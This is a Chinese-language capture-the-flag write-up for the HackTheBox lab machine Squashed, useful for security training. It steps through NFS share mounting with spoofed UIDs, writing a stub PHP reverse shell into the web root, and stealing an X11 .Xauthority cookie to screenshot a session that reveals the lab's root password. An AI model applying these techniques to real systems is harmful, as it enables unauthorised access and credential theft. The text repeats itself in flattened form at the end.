hackthebox靶机Squashed
字数 1178 2025-08-11 17:40:29

HackTheBox靶机Squashed渗透测试报告

1. 初始信息收集

1.1 端口扫描结果

使用Nmap进行扫描:

nmap -sS -Pn -sC -sV 10.10.11.191

开放端口及服务:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu
  • 80/tcp: Apache httpd 2.4.41
  • 111/tcp: rpcbind 2-4 (RPC服务)
  • 2049/tcp: nfs_acl 3 (NFS服务)

1.2 Web服务枚举

访问80端口web服务,目录扫描未发现有价值内容。

2. NFS服务利用

2.1 NFS基本原理

NFS(Network File System)是一个客户端/服务器系统:

  • 允许用户通过网络访问文件
  • 无内置身份验证或授权机制
  • 依赖UNIX UID/GID进行权限控制
  • 默认端口2049

2.2 枚举共享目录

showmount -e 10.10.11.191

发现两个共享目录:

  1. /var/www/html
  2. /home/ross

2.3 挂载共享目录

mount -t nfs 10.10.11.191:/var/www/html /mnt/squashed
mount -t nfs 10.10.11.191:/home/ross /mnt/squashed2

2.4 权限分析

  • /var/www/html属于UID 2017的用户
  • /home/ross属于UID 1001的用户

2.5 创建匹配用户

创建本地用户匹配远程UID:

useradd test
usermod -u 2017 test
groupmod -g 2017 test

3. 初始访问获取

3.1 写入Web Shell

切换到test用户后,向/var/www/html写入PHP反向Shell:

<?php
// PHP反向Shell代码
set_time_limit(0);
$ip = '攻击者IP';
$port = 监听端口;
$shell = 'uname -a; w; id; /bin/bash -i';
// 完整shell代码见原文
?>

3.2 触发Shell

访问写入的PHP文件获取反向Shell连接。

4. 权限提升路径

4.1 分析NFS配置

查看/etc/exports文件:

/var/www/html *(rw,sync,root_squash)
/home/ross *(sync,root_squash)
  • root_squash: 将root访问降级为nfsnobody
  • /var/www/html有读写权限
  • /home/ross只有同步权限

4.2 获取用户flag

cat /home/alex/user.txt

4.3 创建第二个匹配用户

为访问/home/ross创建UID 1001的用户:

useradd test1
usermod -u 1001 test1
groupmod -g 1001 test1

5. X11利用提权

5.1 X11基础

X Window系统:

  • X server管理显示硬件
  • X client处理程序逻辑
  • 通过X协议通信

5.2 窃取Xauthority cookie

cat /mnt/squashed2/.Xauthority | base64

在目标机器上恢复cookie:

echo "base64编码" | base64 -d > /tmp/.Xauthority
export XAUTHORITY=/tmp/.Xauthority

5.3 获取屏幕截图

确定显示编号:

w

截图命令:

xwd -root -screen -silent -display :0 > /tmp/screen.xwd

启动Python HTTP服务传输文件:

python3 -m http.server

5.4 获取root凭证

将.xwd文件转换为.png后,发现root密码:

root:cah$mei7rai9A

5.5 获取root权限

使用获取的密码通过SSH登录:

ssh root@10.10.11.191

获取root flag:

cat /root/root.txt

6. 关键知识点总结

  1. NFS服务利用:

    • 无认证机制,依赖UID/GID匹配
    • 通过创建匹配UID的本地用户绕过权限限制
    • /etc/exports配置文件分析
  2. X11安全漏洞:

    • .Xauthority文件存储认证cookie
    • 窃取cookie可劫持图形会话
    • 通过截图获取敏感信息
  3. 权限提升路径:

    • 利用NFS错误配置获取初始立足点
    • 通过X11会话劫持获取root凭证
    • 凭证复用获取完全控制权
HackTheBox靶机Squashed渗透测试报告 1. 初始信息收集 1.1 端口扫描结果 使用Nmap进行扫描: 开放端口及服务: 22/tcp: OpenSSH 8.2p1 Ubuntu 80/tcp: Apache httpd 2.4.41 111/tcp: rpcbind 2-4 (RPC服务) 2049/tcp: nfs_ acl 3 (NFS服务) 1.2 Web服务枚举 访问80端口web服务,目录扫描未发现有价值内容。 2. NFS服务利用 2.1 NFS基本原理 NFS(Network File System)是一个客户端/服务器系统: 允许用户通过网络访问文件 无内置身份验证或授权机制 依赖UNIX UID/GID进行权限控制 默认端口2049 2.2 枚举共享目录 发现两个共享目录: /var/www/html /home/ross 2.3 挂载共享目录 2.4 权限分析 /var/www/html属于UID 2017的用户 /home/ross属于UID 1001的用户 2.5 创建匹配用户 创建本地用户匹配远程UID: 3. 初始访问获取 3.1 写入Web Shell 切换到test用户后,向/var/www/html写入PHP反向Shell: 3.2 触发Shell 访问写入的PHP文件获取反向Shell连接。 4. 权限提升路径 4.1 分析NFS配置 查看/etc/exports文件: root_ squash: 将root访问降级为nfsnobody /var/www/html有读写权限 /home/ross只有同步权限 4.2 获取用户flag 4.3 创建第二个匹配用户 为访问/home/ross创建UID 1001的用户: 5. X11利用提权 5.1 X11基础 X Window系统: X server管理显示硬件 X client处理程序逻辑 通过X协议通信 5.2 窃取Xauthority cookie 在目标机器上恢复cookie: 5.3 获取屏幕截图 确定显示编号: 截图命令: 启动Python HTTP服务传输文件: 5.4 获取root凭证 将.xwd文件转换为.png后,发现root密码: 5.5 获取root权限 使用获取的密码通过SSH登录: 获取root flag: 6. 关键知识点总结 NFS服务利用: 无认证机制,依赖UID/GID匹配 通过创建匹配UID的本地用户绕过权限限制 /etc/exports配置文件分析 X11安全漏洞: .Xauthority文件存储认证cookie 窃取cookie可劫持图形会话 通过截图获取敏感信息 权限提升路径: 利用NFS错误配置获取初始立足点 通过X11会话劫持获取root凭证 凭证复用获取完全控制权